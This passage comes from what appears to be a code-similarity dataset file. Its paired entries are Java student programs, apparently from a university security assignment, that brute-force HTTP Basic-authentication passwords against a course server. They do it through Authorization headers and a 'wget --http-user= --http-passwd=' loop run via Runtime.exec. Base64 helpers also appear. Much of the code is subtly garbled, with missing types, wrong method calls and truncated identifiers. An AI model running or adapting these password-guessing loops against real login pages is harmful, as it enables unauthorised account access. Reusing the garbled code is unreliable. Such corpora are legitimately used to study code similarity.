\ String(c);\n return c;\n }\n }\n}\n" |
|
- "\nimport java.net.*;\nimport java.io.*;\nimport java.Ostermiller.util.*;\nimport\ |
|
\ java.util.*;\n\npublic class MyClient2 implements Runnable\n{\n private String\ |
|
\ hostname;\n private int port;\n private String filename;\n private Socket\ |
|
\ s;\n private int n;\n private InputStream sin;\n private OutputStream\ |
|
\ sout;\n private int dif;\n private String myPassword;\n private int status;\n\ |
|
\ private int myTime;\n private BruteForce myMaster;\n \n\n public MyClient2(BruteForce\ |
|
\ bf , int num, int myPort, String password)\n {\n \n hostname = new\ |
|
\ String(\"sec-crack.cs.rmit.edu.\");\n port = myPort;\n status = 0;\n\ |
|
\ myTime = 0;\n myPassword = password;\n filename = new String(\"\ |
|
/SEC/2/\");\n myMaster = 0;\n n = num;\n dif = 0;\n \n }\n\ |
|
\ public getDif()\n {\n return dif;\n }\n public int getStatus()\n\ |
|
\ {\n return status;\n }\n public void run() \n {\n String inputLine;\n\ |
|
\ String[] tokens = new String[5];\n int i;\n myTime = 0;\n \ |
|
\ finish = 0;\n start = System.currentTimeMillis();\n try\n \ |
|
\ {\n s = new Socket( hostname, port);\n }catch( UnknownHostException\ |
|
\ e)\n {\n System.out.println(\"'t find host\");\n }catch( IOException\ |
|
\ e)\n {\n System.out.println(\"Error connecting host \"+n);\n\ |
|
\t return;\n }\n while(s.isConnected() == false)\n continue;\n\ |
|
\ \n finish = System.currentTimeMillis();\n dif = finish - start;\n\ |
|
\ \n try\n {\n sin = s.getInputStream();\n }catch(\ |
|
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\ |
|
\ }\n BufferedReader fromServer = new BufferedReader(new InputStreamReader(\ |
|
\ ));\n try\n {\n sout = s.getOutputStream();\n }catch(\ |
|
\ IOException e)\n {\n System.out.println(\"'t open stream\");\n\ |
|
\ }\n \n PrintWriter toServer = new PrintWriter( new OutputStreamWriter(\ |
|
\ sout));\n toServer.print(\"GET \"+filename+\" HTTP/1.0\\r\\n\"+\"Authorization:\ |
|
\ \"+Base64.encode(\"\"+\":\"+myPassword)+\"\\r\\n\\r\\n\");\n toServer.flush();\n\ |
|
\ \n try\n {\n inputLine = fromServer.readLine();\n \ |
|
\ }catch( IOException e)\n {\n System.out.println(\"'t open stream\"\ |
|
);\n\t inputLine = null;\n }\n \n java.util.StringTokenizer \ |
|
\ = new java.util.StringTokenizer( inputLine, \" \");\n i = 0;\n while(sin.hasMoreTokens())\n\ |
|
\ {\n tokens[i] = sin.nextToken();\n\t i++;\n }\n status\ |
|
\ = Integer.parseInt( tokens[1]);\n myTime = System.currentTimeMillis();\n\ |
|
\ if( status == 200)\n {\n System.out.println(\"Ok \"+myPassword);\n\ |
|
\t myMaster.retire( this);\n }\n \n toServer.send();\n try\n\ |
|
\ {\n fromServer.receive();\n }catch( IOException e)\n \ |
|
\ {\n System.out.println(\"'t open stream\");\n }\n try\n\ |
|
\ {\n s.connect();\n }catch( IOException e)\n {\n \ |
|
\ System.out.println(\"'t connection\");\n\t System.exit(0);\n }\n\ |
|
\ }\n public getTime()\n {\n return myTime;\n }\n \n}\n" |
|
- "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate\ |
|
\ static String password=\" \"; \n\n \n public static void main(String[]\ |
|
\ args) {\n\t String Result=\"\"; \n\t if (args.length<1)\n\t\t\t {\n\t\t\t\ |
|
\ System.out.println(\"Error: Correct Format Filename, username e.g<>\"); \n\ |
|
\t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\ |
|
\t\t\t Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\ |
|
\ \n\t\t\t System.out.println(\"The Password of \"+args[0]+\"is..\"+Result);\ |
|
\ \n\t\t\t \n\t\t }\n\n\n\n private String Password(String urlString,String\ |
|
\ username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis(); \n for\ |
|
\ ( char ch = 'A'; ch <= 'z'; ch++ )\n { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\ |
|
\t\t\t\t\t\t { \n\t\t\t\t\t\t ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\t\ |
|
for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )\n\t\t\t\t { \n\t\t\t\t\t \n\t\t\t\ |
|
\t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch1='a'; \n\t\t\ |
|
\t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )\n\t\t\t\ |
|
\t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\ |
|
\ ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\ |
|
\t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t \tSystem.out.print(\"\ |
|
\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\ |
|
\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString\ |
|
\ userPassword=username+\":\"+password; \n\n \n\t\t String encoding =\ |
|
\ new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection\ |
|
\ conc= url.openConnection(); \n\t\t\t\t\t conc.setRequestProperty (\"Authorization\"\ |
|
, \" \" + encoding);\t\t\t \n\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\tcnt++;\n\ |
|
\t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200\ |
|
\ OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\ |
|
\t\t\t\t\t\t net=t1-t0; \n\t\t\t\t\t\t\tSystem.out.println(\"\ |
|
The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time\ |
|
\ Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t\ |
|
}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\ |
|
\t e.printStackTrace(); \n\n\t\t\t\t}\n\n\t\t\t\n\t\t \n\t\t \n\t\t }\n\ |
|
\t\t \n\n\n\n \n \n\t } \n \n \n\t\ |
|
} \n return \"Password could not found\"; \n\n }\n\n\n}" |
|
- source_sentence: "package java.httputils;\n\nimport java.io.IOException;\nimport\ |
|
\ java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class\ |
|
\ RunnableBruteForce extends BruteForce implements Runnable\n{\n protected\ |
|
\ int rangeStart, rangeEnd;\n protected boolean stop = false;\n \n public\ |
|
\ RunnableBruteForce()\n {\n super();\n }\n\n \n public void\ |
|
\ run()\n {\n process();\n }\n\n public static void main(String[]\ |
|
\ args)\n {\n }\n \n public int getRangeEnd()\n {\n return\ |
|
\ rangeEnd;\n }\n\n \n public int getRangeStart()\n {\n return\ |
|
\ rangeStart;\n }\n\n \n public void setRangeEnd(int i)\n {\n \ |
|
\ rangeEnd = i;\n }\n\n \n public void setRangeStart(int i)\n {\n\ |
|
\ rangeStart = i;\n }\n\n \n public boolean isStop()\n {\n\ |
|
\ return stop;\n }\n\n \n public void setStop(boolean b)\n \ |
|
\ {\n stop = b;\n }\n\n public void process()\n {\n String\ |
|
\ password = \"\";\n \n System.out.println(Thread.currentThread().getName()\ |
|
\ +\n \"-> workload: \" +\n \ |
|
\ this.letters[getRangeStart()] + \" \" +\n this.letters[getRangeEnd()\ |
|
\ - 1]);\n setStart(new Timestamp(System.currentTimeMillis()));\n\n \ |
|
\ for (int i = getRangeStart();\n i < getRangeEnd();\n \ |
|
\ i++)\n {\n System.out.println(Thread.currentThread().getName()\ |
|
\ +\n \"-> Trying words beginning with: \" +\n \ |
|
\ letters[i]);\n for (int i2 = 0;\n i2 < letters.length;\n\ |
|
\ i2++)\n {\n for (int i3 = 0;\n \ |
|
\ i3 < letters.length;\n i3++)\n \ |
|
\ {\n if (isStop())\n {\n \ |
|
\ return;\n }\n try\n \ |
|
\ {\n char [] arr = new char [] {letters[i],\ |
|
\ letters[i2], letters[i3]};\n String pwd = new String(arr);\n\ |
|
\ \n if (Thread.currentThread().getName().equals(\"\ |
|
Thread-1\") && pwd.equals(\"bad\"))\n {\n \ |
|
\ System.out.println(Thread.currentThread().getName() +\n \ |
|
\ \"-> Trying password: \" +\n \ |
|
\ pwd);\n }\n attempts++;\n\ |
|
\n BasicAuthHttpRequest req =\n \ |
|
\ new BasicAuthHttpRequest(\n getURL(),\n \ |
|
\ getUserName(),\n \ |
|
\ pwd);\n System.out.println(\"Got the password\");\n\ |
|
\ setPassword(pwd);\n setEnd(new\ |
|
\ Timestamp(System.currentTimeMillis()));\n setContent(req.getContent().toString());\n\ |
|
\n \n this.setChanged();\n \ |
|
\ this.notifyObservers(this.getContent());\n \ |
|
\ return;\n }\n catch (MalformedURLException\ |
|
\ e)\n {\n e.printStackTrace();\n \ |
|
\ return;\n }\n catch\ |
|
\ (IOException e)\n {\n\n }\n \ |
|
\ }\n }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\ |
|
\ }\n\n}\n" |
|
sentences: |
|
- "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\ |
|
\ char[] out = new char[((data.length + 2) / 3) * 4];\n\n \n \n \n\ |
|
\ \n for (int i=0, index=0; i<data.length; i+=3, index+=4) {\n boolean\ |
|
\ quad = false;\n boolean trip = false;\n\n int bat = (0xFF & (int)\ |
|
\ data[i]);\n bat <<= 8;\n if ((i+1) < data.length) {\n \ |
|
\ bat |= (0xFF & (int) data[i+1]);\n trip = true;\n }\n \ |
|
\ bat <<= 8;\n if ((i+2) < data.length) {\n bat |= (0xFF\ |
|
\ & (int) data[i+2]);\n quad = true;\n }\n out[index+3]\ |
|
\ = alphabet[(quad? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+2]\ |
|
\ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\ |
|
\ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\ |
|
\ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\ |
|
\ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\ |
|
\ for( int ix=0; ix<data.length; ix++ )\n {\n if( (data[ix] > 255)\ |
|
\ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \ |
|
\ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\ |
|
\ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\ |
|
\n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \ |
|
\ \n for (int ix=0; ix<data.length; ix++)\n {\n int value = (data[ix]>255)?\ |
|
\ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\ |
|
\ accum <<= 6; \n shift += 6; \n\ |
|
\ accum |= value; \n if ( shift >= 8 ) \n\ |
|
\ {\n shift -= 8; \n out[index++]\ |
|
\ = \n (byte) ((accum >> shift) & 0xff);\n \ |
|
\ }\n }\n \n \n \n \n \n \n \ |
|
\ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\ |
|
Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\ |
|
\ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\ |
|
\ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\ |
|
\n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\ |
|
static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\ |
|
\ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\ |
|
\ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\ |
|
\ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\ |
|
\ = 63;\n}\n}" |
|
- "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\n\ |
|
import java.awt.*;\nimport java.awt.event.*;\n\npublic class WatchDog\n{\n public\ |
|
\ static void main (String args[])\n {\n String url = \"http://yallara.cs.rmit.edu./~\"\ |
|
;\n String file1 = \"test1.txt\";\n int flag = 0;\n\n \n WriteFile\ |
|
\ write = new WriteFile(url, file1, flag);\n\n \n \n new DoSleep().print();\n\ |
|
\ }\n}\n\nclass DoSleep extends Thread\n{\n public synchronized void run()\n\ |
|
\ {\n String url = \"http://yallara.cs.rmit.edu./~\";\n String file2\ |
|
\ = \"test2.txt\";\n int flag = 1;\n int status = 0;\n String file1\ |
|
\ = \"test1.txt\";\n\n System.out.println(\"Checking.........\");\n \ |
|
\ try\n {\n \n \n \n sleep();\n\n \ |
|
\ \n \n WriteFile write = new WriteFile(url, file2, flag);\n\n\ |
|
\ status = write.getStatus();\n \n\n if(status != 0)\n\ |
|
\ {\n int flag2 = 0;\n \n \n \ |
|
\ WriteFile write2 = new WriteFile(url, file1, flag2);\n }\n\ |
|
\ \n new DoSleep().print();\n }\n catch (InterruptedException\ |
|
\ e) {}\n }\n}\n\n\n" |
|
- "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic\ |
|
\ class BruteForce\n{\n\n\tpublic static void main(String[] args) \n\t{\n \ |
|
\ Runtime rt = Runtime.getRuntime();\n\t Process pr= null;\n \ |
|
\ char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ |
|
\t String pass;\n char temp[] = {'a','a'};\n char temp1[] =\ |
|
\ {'a','a','a'};\n char temp2[] = {'a'};\n\n\t String f= new String();\n\ |
|
\ String resp = new String();\n int count=0;\n String\ |
|
\ success = new String();\n InputStreamReader instre;\n BufferedReader\ |
|
\ bufread;\n\n\n for(int k=0;k<52;k++)\n {\n \ |
|
\ temp2[0]=chars[k];\n pass = new String(temp2); \ |
|
\ \n count++; \n\n System.out.println(\"\ |
|
The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ |
|
\ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ |
|
\n instre = new InputStreamReader(pr.getErrorStream());\n \ |
|
\ \n \n bufread\ |
|
\ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ |
|
\ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ |
|
\ if(resp.equals(\"HTTP request sent, awaiting response...\ |
|
\ 200 OK\"))\n {\n System.out.println(\"\ |
|
Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ |
|
+count);\n System.exit(0);\n \ |
|
\ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ |
|
\ e){}\n }\n\n\n\n \n for(int j=0;j<52;j++)\n \ |
|
\ {\n for(int k=0;k<52;k++)\n {\n \ |
|
\ temp[0]=chars[j];\n temp[1]=chars[k];\n\n \ |
|
\ pass = new String(); \n count++; \ |
|
\ \n\n System.out.println(\"The password tried is------->\"\ |
|
+pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user=\ |
|
\ --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\ |
|
\ \n\t try\n {\n\t\t pr = rt.exec(f);\n\ |
|
\n instre = new InputStreamReader(pr.getErrorStream());\n \ |
|
\ \n \n bufread\ |
|
\ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ |
|
\ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ |
|
\ if(resp.equals(\"HTTP request sent, awaiting response...\ |
|
\ 200 OK\"))\n {\n System.out.println(\"\ |
|
Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ |
|
+count);\n System.exit(0);\n \ |
|
\ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ |
|
\ e){}\n }\n }\n\n\n \n for(int i=0;i<52;i++)\n\ |
|
\ for(int j=0;j<52;j++)\n for(int k=0;k<52;k++)\n \ |
|
\ {\n temp1[0]=chars[i];\n temp1[1]=chars[j];\n\ |
|
\ temp1[2]=chars[k];\n pass = new String(temp1);\ |
|
\ \n count++; \n\n System.out.println(\"\ |
|
The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ |
|
\ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ |
|
\n instre = new InputStreamReader(pr.getErrorStream());\n \ |
|
\ \n \n bufread\ |
|
\ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ |
|
\ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ |
|
\ if(resp.equals(\"HTTP request sent, awaiting response...\ |
|
\ 200 OK\"))\n {\n System.out.println(\"\ |
|
Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ |
|
+count);\n System.exit(0);\n \ |
|
\ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ |
|
\ e){}\n }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n" |
|
- source_sentence: "\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\n\ |
|
import java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener\ |
|
\ {\n\tprivate TextField tf = new TextField();\n private TextArea ta = new\ |
|
\ TextArea();\n\n \tpublic void actionPerformed (ActionEvent e) {\n\t\tString\ |
|
\ s = tf.getText();\n\t\tString login=\"\";\n\n\t\tif (s.length() != 0)\n\t\t\ |
|
{\n\t\t\tchar symbol = 'A';\n\n\t\t\tlogin=\":\";\n\t\t\t\n\t\t\tfor(int i = 0;\ |
|
\ i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\ |
|
\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\ |
|
\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t ta.setText (fetchURL\ |
|
\ (s,login));\n\t\t System.out.println(\"runing\"+login);\n\t\t}while(ta.getText().compareTo(\"\ |
|
Invalid URL\")!=0 || ta.getText().compareTo(\"Error URL\")!=0);\n\n\t\tSystem.out.println(\"\ |
|
The password is: \"+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper (\"SEC-CRACK\"\ |
|
);\n\n\t \n\t add (tf, BorderLayout.LEFT);\n\t ta.setEditable(false);\n\ |
|
\t add (ta, BorderLayout.CENTER);\n\t tf.addActionListener (this);\n\n\t\ |
|
\ addWindowListener (new WindowAdapter() {\n\t public void windowClosing\ |
|
\ (WindowEvent e) {\n\t dispose();\n\t System.exit(0);\n\t \ |
|
\ }\n\t });\n\t}\n\n\tprivate String fetchURL (String urlString,String\ |
|
\ login) {\n\t\tStringWriter sw = new StringWriter();\n\t PrintWriter pw =\ |
|
\ new PrintWriter();\n\n\t try {\n\t URL url = new URL (urlString);\n\ |
|
\n\t \n\t\n\t \n\n\t \n\t String encoding = new url.misc.BASE64Encoder().encode\ |
|
\ (login.getBytes());\n\n\t \n\t URLConnection uc = url.openConnection();\n\ |
|
\t uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\t \ |
|
\ InputStream content = (InputStream)uc.getInputStream();\n\t BufferedReader\ |
|
\ in =\n\t new BufferedReader (new InputStreamReader (content));\n\t\ |
|
\ String line;\n\t while ((line = in.readLine()) != null) {\n\t \ |
|
\ pw.println (line);\n\t }\n\t } catch (MalformedURLException\ |
|
\ e) {\n\t pw.println (\"Invalid URL\");\n\t } catch (IOException e)\ |
|
\ {\n\t pw.println (\"Error URL\");\n\t }\n\t return sw.toString();\n\ |
|
\t}\n\n\n\tpublic static void main(String args[]) {\n\t\tFrame f = new BruteForce();\n\ |
|
\t f.setSize(300, 300);\n\t f.setVisible (true);\n\t}\n}\n\n\n\n\nclass\ |
|
\ Base64Converter\n{\n\tpublic static final char [ ] alphabet = {\n 'A',\ |
|
\ 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M', 'N',\ |
|
\ 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n 'Y',\ |
|
\ 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g', 'h', 'i', 'j', 'k', 'l',\ |
|
\ 'm', 'n', \n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n 'w',\ |
|
\ 'x', 'y', 'z', '0', '1', '2', '3', \n '4', '5', '6', '7', '8', '9',\ |
|
\ '+', '/' }; \n\n\n public static String encode ( String s )\n {\n\ |
|
\ return encode ( s.getBytes ( ) );\n }\n\n public static String\ |
|
\ encode ( byte [ ] octetString )\n {\n int bits24;\n int\ |
|
\ bits6;\n\n char [ ] out\n = new char [ ( ( octetString.length\ |
|
\ - 1 ) / 3 + 1 ) * 4 ];\n\n int outIndex = 0;\n int i = 0;\n\ |
|
\n while ( ( i + 3 ) <= octetString.length )\n {\n \n \ |
|
\ bits24 = ( octetString [ i++ ] & 0xFF ) << 16;\n bits24 |= (\ |
|
\ octetString [ i++ ] & 0xFF ) << 8;\n bits24 |= ( octetString [ i++\ |
|
\ ] & 0xFF ) << 0;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n \ |
|
\ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\ |
|
\ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n bits6\ |
|
\ = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6\ |
|
\ ];\n bits6 = ( bits24 & 0x0000003F );\n out [ outIndex++ ]\ |
|
\ = alphabet [ bits6 ];\n }\n\n if ( octetString.length - i == 2 )\n\ |
|
\ {\n \n bits24 = ( octetString [ i ] & 0xFF ) <<\ |
|
\ 16;\n bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;\n\n \ |
|
\ bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n out [ outIndex++ ] = alphabet\ |
|
\ [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out\ |
|
\ [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x00000FC0\ |
|
\ ) >> 6;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n \ |
|
\ out [ outIndex++ ] = '=';\n }\n else if ( octetString.length\ |
|
\ - i == 1 )\n {\n \n bits24 = ( octetString [ i ] &\ |
|
\ 0xFF ) << 16;\n\n bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n \ |
|
\ out [ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\ |
|
\ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n\n \n\ |
|
\ out [ outIndex++ ] = '=';\n out [ outIndex++ ] = '=';\n \ |
|
\ }\n\n return new String ( out );\n }\n}\n\n" |
|
sentences: |
|
- "\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\ |
|
\npublic class BruteForce extends Thread\n{\n private static final String USERNAME\ |
|
\ = \"\";\n private static final char [] POSSIBLE_CHAR =\n {'a', 'b',\ |
|
\ 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',\n 'n', 'o', 'p',\ |
|
\ 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n 'A', 'B', 'C', 'D',\ |
|
\ 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n 'N', 'O', 'P', 'Q', 'R',\ |
|
\ 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n private static int NUMBER_OF_THREAD\ |
|
\ = 500;\n\n private static Date startDate = null;\n private static Date endDate\ |
|
\ = null;\n\n private String address;\n private String password;\n\n public\ |
|
\ BruteForce(String address, String password)\n {\n this.address = address;\n\ |
|
\ this.password = password;\n }\n\n public static void main(String[]\ |
|
\ args) throws IOException\n {\n if (args.length < 1)\n {\n \ |
|
\ System.err.println(\"Invalid usage!\");\n System.err.println(\"Usage:\ |
|
\ java BruteForce <url>\");\n System.exit(1);\n }\n\n try\n\ |
|
\ {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n\ |
|
\ {\n e.printStackTrace();\n System.exit(1);\n }\n \ |
|
\ }\n\n public static void brute(String address, String user)\n {\n \ |
|
\ BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index =\ |
|
\ 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length;\ |
|
\ i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n \ |
|
\ {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n \ |
|
\ {\n String password = \"\"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n\ |
|
\ POSSIBLE_CHAR[k];\n\n if (threads[index]\ |
|
\ != null && threads[index].isAlive())\n {\n try\n\ |
|
\ {\n threads[index].join();\n \ |
|
\ }\n catch(InterruptedException e ) {}\n \ |
|
\ }\n threads[index] = new BruteForce(address, password);\n \ |
|
\ threads[index].get();\n\n index = (index++) % threads.length;\n\ |
|
\ }\n }\n }\n }\n\n public void run()\n {\n \ |
|
\ if (endDate != null)\n return;\n\n try\n {\n\n URLConnection\ |
|
\ conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\ |
|
\n if (login(conn, USERNAME, password))\n {\n endDate\ |
|
\ = new Date();\n System.out.println(\"Found the password: \\\"\"+password+\"\ |
|
\\\"!\");\n SimpleDateFormat format = new SimpleDateFormat(\"dd/MM/yyyy\ |
|
\ HH:mm:\");\n System.out.println(\"Process started at: \"+format.format(startDate));\n\ |
|
\ System.out.println(\"Process started at: \"+format.format(endDate));\n\ |
|
\ double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n\ |
|
\ System.out.println(\"Time taken: \"+timeTaken+\" minutes\");\n \ |
|
\ System.exit(0);\n }\n else\n {\n \ |
|
\ System.out.println(\"Password: \\\"\"+password+\"\\\" Failed!\");\n \ |
|
\ return;\n }\n }\n catch(Exception e)\n {\n \ |
|
\ e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection\ |
|
\ conn, String user, String pass)\n {\n try\n {\n String encodeAuth\ |
|
\ = \" \"+Base64Encoder.encode(user+\":\"+pass);\n conn.setRequestProperty\ |
|
\ (\"Authorization\", encodeAuth);\n conn.connect();\n conn.getInputStream();\n\ |
|
\ }\n catch(Exception e)\n {\n return false;\n }\n\ |
|
\ return true;\n }\n}\n\n\n" |
|
- "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n\ |
|
\ private final static char base64Array [] = {\n 'A', 'B', 'C', 'D',\ |
|
\ 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n \ |
|
\ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b',\ |
|
\ 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n \ |
|
\ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z',\ |
|
\ '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n \ |
|
\ };\n\n public static String encode (String string)\n {\n String encodedString\ |
|
\ = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n \ |
|
\ int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes\ |
|
\ [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n\ |
|
\ {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ |
|
\ }\n else\n {\n b2 = bytes [i++];\n \ |
|
\ if (i >= bytes.length)\n {\n b3 = 0;\n \ |
|
\ pad = 1;\n }\n else\n b3 = bytes\ |
|
\ [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2\ |
|
\ = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf)\ |
|
\ << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
|
\ += base64Array [c1];\n encodedString += base64Array [c2];\n \ |
|
\ switch (pad)\n {\n case 0:\n encodedString\ |
|
\ += base64Array [c3];\n encodedString += base64Array [c4];\n \ |
|
\ break;\n case 1:\n encodedString += base64Array\ |
|
\ [c3];\n encodedString += \"=\";\n break;\n \ |
|
\ case 2:\n encodedString += \"==\";\n break;\n\ |
|
\ }\n }\n return encodedString;\n }\n}\n" |
|
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts\ |
|
\ = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n\ |
|
